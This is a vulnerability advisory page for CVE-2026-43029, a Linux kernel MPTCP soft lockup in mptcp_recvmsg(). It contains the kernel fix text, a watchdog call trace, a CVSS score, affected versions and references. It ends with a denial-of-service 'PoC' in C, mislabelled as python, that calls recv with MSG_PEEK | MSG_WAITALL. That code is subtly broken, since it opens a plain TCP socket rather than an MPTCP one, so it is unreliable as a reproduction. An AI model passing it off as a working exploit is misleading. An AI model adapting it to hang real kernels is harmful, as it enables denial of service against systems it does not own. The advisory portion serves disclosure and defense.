CVE-2026-43029

Description

In the Linux kernel, the following vulnerability has been resolved: mptcp: fix soft lockup in mptcp_recvmsg() syzbot reported a soft lockup in mptcp_recvmsg() [0]. When receiving data with MSG_PEEK | MSG_WAITALL flags, the skb is not removed from the sk_receive_queue. This causes sk_wait_data() to always find available data and never perform actual waiting, leading to a soft lockup. Fix this by adding a 'last' parameter to track the last peeked skb. This allows sk_wait_data() to make informed waiting decisions and prevent infinite loops when MSG_PEEK is used. [0]: watchdog: BUG: soft lockup - CPU#2 stuck for 156s! [server:1963] Modules linked in: CPU: 2 UID: 0 PID: 1963 Comm: server Not tainted 6.19.0-rc8 #61 PREEMPT(none) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 RIP: 0010:sk_wait_data+0x15/0x190 Code: 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa 41 56 41 55 41 54 49 89 f4 55 48 89 d5 53 48 89 fb <48> 83 ec 30 65 48 8b 05 17 a4 6b 01 48 89 44 24 28 31 c0 65 48 8b RSP: 0018:ffffc90000603ca0 EFLAGS: 00000246 RAX: 0000000000000000 RBX: ffff888102bf0800 RCX: 0000000000000001 RDX: 0000000000000000 RSI: ffffc90000603d18 RDI: ffff888102bf0800 RBP: 0000000000000000 R08: 0000000000000002 R09: 0000000000000101 R10: 0000000000000000 R11: 0000000000000075 R12: ffffc90000603d18 R13: ffff888102bf0800 R14: ffff888102bf0800 R15: 0000000000000000 FS: 00007f6e38b8c4c0(0000) GS:ffff8881b877e000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000055aa7bff1680 CR3: 0000000105cbe000 CR4: 00000000000006f0 Call Trace: <TASK> mptcp_recvmsg+0x547/0x8c0 net/mptcp/protocol.c:2329 inet_recvmsg+0x11f/0x130 net/ipv4/af_inet.c:891 sock_recvmsg+0x94/0xc0 net/socket.c:1100 __sys_recvfrom+0xb2/0x130 net/socket.c:2256 __x64_sys_recvfrom+0x1f/0x30 net/socket.c:2267 do_syscall_64+0x59/0x2d0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x76/0x7e arch/x86/entry/entry_64.S:131 RIP: 0033:0x7f6e386a4a1d Code: 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 8d 05 f1 de 2c 00 41 89 ca 8b 00 85 c0 75 20 45 31 c9 45 31 c0 b8 2d 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 6b f3 c3 66 0f 1f 84 00 00 00 00 00 41 56 41 RSP: 002b:00007ffc3c4bb078 EFLAGS: 00000246 ORIG_RAX: 000000000000002d RAX: ffffffffffffffda RBX: 000000000000861e RCX: 00007f6e386a4a1d RDX: 00000000000003ff RSI: 00007ffc3c4bb150 RDI: 0000000000000004 RBP: 00007ffc3c4bb570 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000103 R11: 0000000000000246 R12: 00005605dbc00be0 R13: 00007ffc3c4bb650 R14: 0000000000000000 R15: 0000000000000000 </TASK>

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.6.117:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.12.59:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:6.17.8:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel 6.19-rc8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

#define PORT 8080

int main() {
    int sock;
    struct sockaddr_in server;
    char buffer[1024];

    // Create a socket
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == -1) {
        perror("Could not create socket");
        return 1;
    }

    server.sin_addr.s_addr = inet_addr("127.0.0.1");
    server.sin_family = AF_INET;
    server.sin_port = htons(PORT);

    // Connect to a server that sends data
    if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
        perror("Connect failed");
        return 1;
    }

    // Trigger the vulnerability logic
    // Using MSG_PEEK | MSG_WAITALL to cause the soft lockup in mptcp_recvmsg
    // This may hang the process consuming 100% CPU on the specific core
    int bytes_received = recv(sock, buffer, sizeof(buffer), MSG_PEEK | MSG_WAITALL);
    
    if (bytes_received < 0) {
        perror("recv failed");
    }

    close(sock);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43029
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43029
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43029/
[4] VulDB https://vuldb.com/cve/CVE-2026-43029
[5] https://git.kernel.org/stable/c/58b58b9ba89c43914eea90c18928e51852d10c24
[6] https://git.kernel.org/stable/c/5dd8025a49c268ab6b94d978532af3ad341132a7
[7] https://git.kernel.org/stable/c/de3c248d1b69eaefa2d5b3da4005936dcf590f1b

Raw JSON Data

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